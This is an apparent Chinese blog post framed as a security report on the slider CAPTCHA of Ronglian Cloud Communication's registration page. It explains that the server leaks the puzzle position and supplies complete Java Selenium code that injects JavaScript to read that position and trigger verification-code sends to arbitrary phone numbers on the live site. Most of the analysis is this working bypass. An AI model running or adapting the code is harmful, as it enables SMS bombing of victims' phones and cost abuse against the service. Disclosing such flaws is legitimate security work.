【容联云通讯注册_登录安全分析报告-Ajax泄漏滑动距离导致安全隐患】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 容联云通讯PC 注册入口

简介: 容联云成立于2013年,是聚焦企业营销&服务场景的数智化经营解决方案提供商,中国多业务云通讯服务商、中国整合通讯+智能+数据核心能力的服务商,国家高新技术企业,胡润中国瞪羚企业,全产品线全信创云平台开创者。

在这里插入图片描述

二、 安全性分析报告:

容联云通讯研发的滑动验证码,存在严重的问题,滑动拼图的设计存在致命缺陷,使设计的功能无效,攻击者无需进行识别图形就可以获得距离。

三、 测试方法:

前端界面分析,这是容联云通讯自己研发的滑动验证码,网上没有现成的教学视频,但形式都差不多,发现严重问题:
前端利用 canvs 将后台直接返回的位置信息(不是图片信息)在前端画缺口的样式,用JS 注入方式直接获取位置,再作为参数提交即可
在这里插入图片描述

这次还是采用模拟器的方式,简单,只需要注入JS,两步就可以搞定:

  1. 请求 /user/reg/getCaptchaData 获取参数

  2. 请求 /user/reg/sendVoiceCode 将获取的参数提交

  3. 模拟器交互部分

package com.newxtc.send.selenium;

import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;

import com.alibaba.fastjson.JSONObject;
import com.newxtc.chrome.ChromeDriverManager;
import com.newxtc.msg.entity.RetEntity;
import com.newxtc.msg.util.MobileGenerator;
import com.newxtc.send.SendDriverApi;

/**
 * 容联·云通讯(网易易盾)
 *
 */
public class RongLian implements SendDriverApi {
	private final String INDEX_URL = "https://www.yuntongxun.com/user/reg/init";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			RetEntity retEntity = new RetEntity();
			driver.get(INDEX_URL);
			String email = "qwe123000o@qq.com";
			String password = "qwe123.";

			// 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("mobile"), 500);
			phoneElemet.sendKeys(phone);

			// 输入邮箱
			WebElement emailElemet = ChromeDriverManager.waitElement(driver, By.id("email"), 1);
			emailElemet.sendKeys(email);

			// 输入密码
			WebElement passwordElemet = ChromeDriverManager.waitElement(driver, By.id("userPwd"), 1);
			passwordElemet.sendKeys(password);

			// 输入确认密码
			passwordElemet = ChromeDriverManager.waitElement(driver, By.id("rePwd"), 1);
			passwordElemet.sendKeys(password);
			// 1 请求位置信息
			String js = "let retJson='';$.ajaxSettings.async = false;";
			js += "$.ajax({type:'POST',url: '/user/reg/getCaptchaData',data: {},dataType: 'json', success:function(result){retJson=result;}});return retJson;";
			Object exeRet = ((JavascriptExecutor) driver).executeScript(js);
			String src = (exeRet != null) ? exeRet.toString() : null;
			if (src == null) {
				return null;
			}
			JSONObject retJson = JSONObject.parseObject(src.replaceAll("=", ":"));
			String left = retJson.getString("left");
			String top = retJson.getString("top");
			String sendJs = "let retJson='';$.ajaxSettings.async=false;";
			// 2 将返回的位置信息作为参数
			String data = "{'tel': '" + phone + "','type': 'news', 'left':'" + left + "','top':" + top + "}";
			sendJs += "$.ajax({type:'POST',url: '/user/reg/sendVoiceCode',data: " + data + ",dataType: 'json', success:function(result){retJson=result;}});return retJson;";
			String result = ((JavascriptExecutor) driver).executeScript(sendJs).toString();
			retEntity.setMsg(result);
			if (result.contains("短信验证码已经发送")) {
				retEntity.setRet(0);
			} else {
				System.out.println("result=" + result);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println(e.toString());
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

}

  由于碰到严重设计缺陷,本次测评非常简单

四丶结语

容联云通讯致力于为全球客户提供领先的智能通讯与营销科技服务,应该是通讯行业的独角兽,并且在美国上市,据了解,容联云通讯在早期使用的网易易盾的滑动验证码,但本次测评时,不知道为何换成自己研发的了, 1 缺钱 ,2 觉得第三方的不安全 ?
不管哪种原因,总之是换成自己的了,并且出现这么严重的低级问题! 在业界面前被打脸, 对比起自己作为高科技企业的地位 !

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

  • 11
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值